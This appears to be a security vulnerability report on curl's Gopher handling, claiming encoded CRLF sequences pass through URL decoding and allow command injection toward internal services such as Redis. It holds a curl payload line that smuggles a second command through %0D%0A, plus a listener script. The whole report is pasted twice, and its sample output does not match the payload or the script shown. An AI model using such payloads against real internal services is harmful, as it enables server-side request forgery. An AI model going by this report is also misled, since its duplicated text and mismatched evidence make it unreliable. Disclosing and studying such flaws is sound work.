Description
Control characters slip through during URL handling in curl’s Gopher setup. Though null bytes get blocked by the `REJECT_ZERO` setting, returns and line feeds remain permitted. A specially built address using percent-encoded breaks - like %0D%0A - opens room for command insertion. Because of how decoding works here, unintended instructions may pass into the data flow. Unexpected behavior follows when those sequences reach downstream systems.
Root Cause: `lib/gopher.c` handles data, decoding occurs within the path segment through a specific function call
```c
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);
```
Because `REJECT_CTRL` is absent, encoded CRLF sequences become actual line breaks when the request reaches the server.
Steps to Reproduce:
- Create the listener script: (Use the Python script below to capture raw bytes and detect injection).
```bash
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Server listening on 7070...")
while True:
conn, addr = s.accept()
data = conn.recv(4096)
print(f"Received: {repr(data)}")
if b'\r\n' in data: print("🚨 CRLF INJECTION DETECTED!")
conn.close()
```
- Execute the Payload: Run curl with an encoded CRLF sequence in the Gopher path:
```bash
curl "gopher://127.0.0.1:7070/x%0D%0AINJECTED_COMMAND"
```
- Verify the Injection: Check your listener output. You will see that the INJECTED_COMMAND appears on a new line, confirming that the protocol stream was broken:
```text
[+] Client connected from ('127.0.0.1', 53518)
[RECEIVED] b'yz\r\nINJECTED\r\n'
[HEX] 797a0d0a494e4a45435445440d0a
🚨 CRLF INJECTION DETECTED!
```
## Impact
Security limits may be crossed in this scenario. When an attacker influences the URL or triggers a redirection, interaction with internal systems becomes possible - systems such as Redis, Memcached, or mail components. Execution of unintended instructions follows under these conditions.
Fix: In `lib/gopher.c`, swap `REJECT_ZERO` with `REJECT_CTRL`. This change ensures full suppression of control characters. Implementation now prevents unintended character handling by using the updated flag. Outcome aligns with expected filtering behavior. Final effect appears consistent across test cases.
Disclosure:
To test the idea, a basic `TCP server` was built `using a code-generation assistant`, focused strictly on recording byte streams from Gopher links. Rather than automating analysis, each stage - examining flaws, tracing origins, judging consequences, replicating issues - was completed by hand. Simplicity guided the design of the server; its purpose limited to exposing how data moves at the protocol layer.
Root Cause: `lib/gopher.c` handles data, decoding occurs within the path segment through a specific function call
```c
result = Curl_urldecode(newp, 0, &buf_alloc, &buf_len, REJECT_ZERO);
```
Because `REJECT_CTRL` is absent, encoded CRLF sequences become actual line breaks when the request reaches the server.
Steps to Reproduce:
- Create the listener script: (Use the Python script below to capture raw bytes and detect injection).
```bash
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', 7070))
s.listen(1)
print("Server listening on 7070...")
while True:
conn, addr = s.accept()
data = conn.recv(4096)
print(f"Received: {repr(data)}")
if b'\r\n' in data: print("🚨 CRLF INJECTION DETECTED!")
conn.close()
```
- Execute the Payload: Run curl with an encoded CRLF sequence in the Gopher path:
```bash
curl "gopher://127.0.0.1:7070/x%0D%0AINJECTED_COMMAND"
```
- Verify the Injection: Check your listener output. You will see that the INJECTED_COMMAND appears on a new line, confirming that the protocol stream was broken:
```text
[+] Client connected from ('127.0.0.1', 53518)
[RECEIVED] b'yz\r\nINJECTED\r\n'
[HEX] 797a0d0a494e4a45435445440d0a
🚨 CRLF INJECTION DETECTED!
```
## Impact
Security limits may be crossed in this scenario. When an attacker influences the URL or triggers a redirection, interaction with internal systems becomes possible - systems such as Redis, Memcached, or mail components. Execution of unintended instructions follows under these conditions.
Fix: In `lib/gopher.c`, swap `REJECT_ZERO` with `REJECT_CTRL`. This change ensures full suppression of control characters. Implementation now prevents unintended character handling by using the updated flag. Outcome aligns with expected filtering behavior. Final effect appears consistent across test cases.
Disclosure:
To test the idea, a basic `TCP server` was built `using a code-generation assistant`, focused strictly on recording byte streams from Gopher links. Rather than automating analysis, each stage - examining flaws, tracing origins, judging consequences, replicating issues - was completed by hand. Simplicity guided the design of the server; its purpose limited to exposing how data moves at the protocol layer.
Basic Information
ID
H1:3484506
Published
Jan 2, 2026 at 05:54
Modified
Jan 2, 2026 at 10:41